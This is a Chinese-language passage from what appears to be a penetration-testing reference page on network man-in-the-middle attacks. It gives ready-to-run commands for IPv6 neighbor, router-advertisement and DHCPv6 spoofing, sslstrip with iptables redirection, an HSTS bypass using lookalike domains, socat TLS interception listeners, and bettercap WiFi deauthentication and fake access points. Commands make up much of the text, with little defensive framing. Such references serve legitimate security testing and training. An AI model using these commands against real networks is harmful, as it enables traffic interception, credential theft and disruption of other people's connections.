IPv6 邻居欺骗
此攻击与 ARP 欺骗非常相似,但在 IPv6 世界中。您可以让受害者认为网关的 IPv6 拥有攻击者的 MAC 地址。
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 路由器广告欺骗/洪水攻击
某些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP欺骗
默认情况下,一些操作系统尝试通过网络中的DHCPv6数据包配置DNS。然后,攻击者可以发送一个DHCPv6数据包,将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (假页面和JS代码注入)
互联网攻击
sslStrip
基本上,这个攻击的作用是,在用户尝试访问一个HTTP页面并重定向到HTTPS版本时,sslStrip将保持与客户端的HTTP连接和与服务器的HTTPS连接,这样它就能够以明文方式嗅探连接。
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
更多信息 这里。
sslStrip+ 和 dns2proxy 绕过 HSTS
sslStrip+ 和 dns2proxy 与 sslStrip 的区别在于它们会重定向例如 www.facebook.com 到 wwww.facebook.com(注意多出的“w”),并将该域名的地址设置为攻击者 IP。这样,客户端将连接到 wwww.facebook.com (攻击者),但在后台sslstrip+将保持与 www.facebook.com 的真实连接通过 https。
此技术的目标是避免 HSTS,因为 wwww.facebook.com 不会被保存在浏览器的缓存中,因此浏览器会被欺骗以HTTP进行facebook 认证。
请注意,为了执行此攻击,受害者必须最初尝试访问 http://www.faceook.com,而不是 https。这可以通过修改 http 页面中的链接来实现。
sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则,因此即使用户第一次访问“重要”域名,他也会通过 HTTPS 访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志 includeSubdomains **,因此之前的 wwww.facebook.com 示例将不再有效,因为 facebook.com 使用 HSTS 和 includeSubdomains。
TODO: easy-creds, evilgrade, metasploit, factory
TCP 监听端口
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL 在端口监听
生成密钥和自签名证书
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
使用证书监听
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
使用证书监听并重定向到主机
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
有时,如果客户端检查CA是否有效,您可以提供由CA签署的其他主机名的证书。
另一个有趣的测试是提供请求的主机名的自签名证书。
其他测试内容包括尝试用一个有效的证书签署该证书,但该证书并不是有效的CA。或者使用有效的公钥,强制使用一种算法,如Diffie-Hellman(不需要用真实私钥解密任何内容的算法),当客户端请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户端不检查这个。
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
主动发现笔记
请注意,当UDP数据包发送到没有请求端口的设备时,会发送一个ICMP(端口不可达)消息。
ARP发现
ARP数据包用于发现网络中正在使用的IP。计算机必须为每个可能的IP地址发送请求,只有正在使用的IP会响应。
mDNS(多播DNS)
Bettercap每隔X毫秒发送一个MDNS请求,询问**_services_.dns-sd._udp.local**,看到此数据包的机器通常会回答此请求。然后,它只搜索回答“services”的机器。
工具
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS(NetBios名称服务器)
Bettercap广播数据包到137/UDP端口,询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
SSDP(简单服务发现协议)
Bettercap广播SSDP数据包,搜索各种服务(UDP端口1900)。
WSD(Web服务发现)
Bettercap广播WSD数据包,搜索服务(UDP端口3702)。
电信/移动核心(GTP)利用
{{#ref}} telecom-network-exploitation.md {{#endref}}
参考文献
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- 网络安全评估:了解您的网络(第三版)
- 实用物联网黑客:攻击物联网的权威指南。作者:Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
{{#include ../../banners/hacktricks-training.md}}

